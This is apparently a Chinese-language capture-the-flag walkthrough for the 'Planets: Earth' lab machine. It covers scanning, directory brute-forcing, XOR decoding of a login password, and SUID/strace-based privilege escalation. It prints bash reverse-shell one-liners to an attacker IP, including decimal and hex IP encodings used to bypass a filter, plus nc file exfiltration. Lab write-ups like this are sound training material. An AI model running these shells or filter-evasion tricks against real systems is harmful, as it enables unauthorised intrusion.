The Plantes Earth靶机
主机发现使用nmap
这里发现,我们进行端口扫描
这开放2个http端口一个ssh服务,我们可以去访问
这里我们发现443端口有可以利用的,80端口没有可以利用的东西
我们去扫描一下web的详细信息
nmap -sS -T5 192.168.12.128 -A -p 80,443
这里我们发现这里有2个dns解析的域名,所以我们需要配置我们的dns文件
配置host文件
vim /etc/hosts
这里我们发现了web服务
我们对https的服务以及这个earth服务进行目录探测
dirb http://earth.local
发现了一个admin
需要登陆
需要账号密码,我们需要找账号密码
我们可以扫描另外一个域名
dirb http://terratest.earth.local
dirb https://terratest.earth.local
这里https请求的我们发现了一个robots.txt文件,我们可以去看
我们在最后发现了一个测试的什么文件,但是不知道后缀名,经过尝试我们发现后缀为txt
这里得到这个网站是用xor算法 有一个testdata.txt的文件 并且登陆的密码为terra
这里是一段对地球的介绍,这里肯定是进行了加密,我们把它与前面的进行计算
解密之后得到密码为:earthclimatechangebad4humans 账号为terra
这里我们成功登陆网站
这里是让我们执行命令,我们可以输入命令测试一下
这里我们直接找到了flag的位置,我们可以读取一下
成功找到一个flag
这里并不是root权限,所以我们需要提权拿下root权限
想拿下root我们得拿下它的shell,所以这里我们想到使用nc拿下反弹shell
bash -i >& /dev/tcp/192.168.12.20/1234 0>&1
这里我们发现没反应
那这里应该是做了一些限制,我们可以编码绕后试一下使用10进制的ip地址就可以
bash -i >& /dev/tcp/3232238612/1234 0>&1 bash -i >& /dev/tcp/0xC0A80C14/1234 0>&1
这里成功弹上
python -c 'import pty;pty.spawn("/bin/bash")'
这里使用这个是shell进入交互式
nc拿下的shell我们可以使用suid提权
需要我们找具有s权限的
find / -perm -u=s -type f 2>/dev/null
这就是suid提权
这里是可以执行suid的文件,而这里好像没有,但是并非不可以提权我们发现有一个比较敏感的reset_root,可以执行这个
报错,意思是少一些东西,我们可以将这个文件传入到我们的kali中,然后对其进行检测,看它有什么少的文件,可以使用nc传文件
nc -lvp 1234 >reset_root 这里是接受文件,将接受的文件写入到reset_root下面
nc 192.168.12.20 1234 </usr/bin/reset_root 这个是传输文件,要传输的内容在<后面
这里成功传入
然后我们使用strace对文件进行校验
使用apt-get intall strace下载
strace reset_root 对其进行校验
这里我们发现少3个文件或目录我们可以回到靶机中建立这3个文件目录
ccess("/dev/shm/kHgTFI5G", F_OK) = -1 ENOENT (没有那个文件或目录)
access("/dev/shm/Zw7bV9U5", F_OK) = -1 ENOENT (没有那个文件或目录)
access("/tmp/kcM0Wewe", F_OK) = -1 ENOENT (没有那个文件或目录)
使用touch
执行它
这里告诉我们root密码是Earth 我们登陆
成功拿下
希望对各位有帮助!后续靶机还在持续更新中!